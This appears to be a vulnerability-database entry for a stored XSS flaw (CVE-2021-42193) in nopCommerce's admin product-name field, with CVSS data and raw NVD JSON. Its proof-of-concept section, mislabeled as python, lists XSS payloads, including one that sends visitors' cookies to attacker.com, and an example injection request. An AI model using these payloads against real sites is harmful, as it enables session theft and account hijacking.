Security Vulnerability Report
中文
CVE-2021-42193 CVSS 6.1 MEDIUM

CVE-2021-42193

Published: 2025-10-03 17:15:46
Last Modified: 2025-12-19 17:07:55

Description

nopCommerce 4.40.3 is vulnerable to XSS in the Product Name at /Admin/Product/Edit/[id]. Each time a user views the product in the shop, the XSS payload fires.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:nopcommerce:nopcommerce:4.40.3:*:*:*:*:*:*:* - VULNERABLE
nopCommerce 4.40.3
nopCommerce < 4.40.4(推测修复版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2021-42193 PoC: Stored XSS in nopCommerce Product Name --> <!-- Target: /Admin/Product/Edit/[id] --> <!-- Payload is injected into the Product Name field --> <!-- Method 1: Simple script tag injection --> <script>alert('XSS-CVE-2021-42193');document.location='http://attacker.com/steal?cookie='+document.cookie</script> <!-- Method 2: Image tag with onerror event --> <img src=x onerror="alert(document.cookie)"> <!-- Method 3: SVG-based payload --> <svg/onload=alert('XSS')> <!-- Method 4: Body with onload (for testing) --> <body onload=alert('XSS')> <!-- HTTP Request Example (conceptual) --> <!-- POST /Admin/Product/Edit/1 HTTP/1.1 Host: target-nopcommerce-site.com Content-Type: application/x-www-form-urlencoded Cookie: .NOP.AUTH=admin_session_cookie Name=<script>alert(document.cookie)</script>&Price=100&... --> <!-- Trigger: Visit the product page in the storefront --> <!-- URL: /Product/[product-id] or any page displaying the injected product name -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2021-42193", "sourceIdentifier": "[email protected]", "published": "2025-10-03T17:15:45.883", "lastModified": "2025-12-19T17:07:54.760", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "nopCommerce 4.40.3 is vulnerable to XSS in the Product Name at /Admin/Product/Edit/[id]. Each time a user views the product in the shop, the XSS payload fires."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nopcommerce:nopcommerce:4.40.3:*:*:*:*:*:*:*", "matchCriteriaId": "A7A94984-E05C-4050-ABBF-C5BD75A1778F"}]}]}], "references": [{"url": "http://nop.com", "source": "[email protected]", "tags": ["Not Applicable"]}, {"url": "http://nopcommerce.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://cxsecurity.com/issue/WLB-2025100002", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}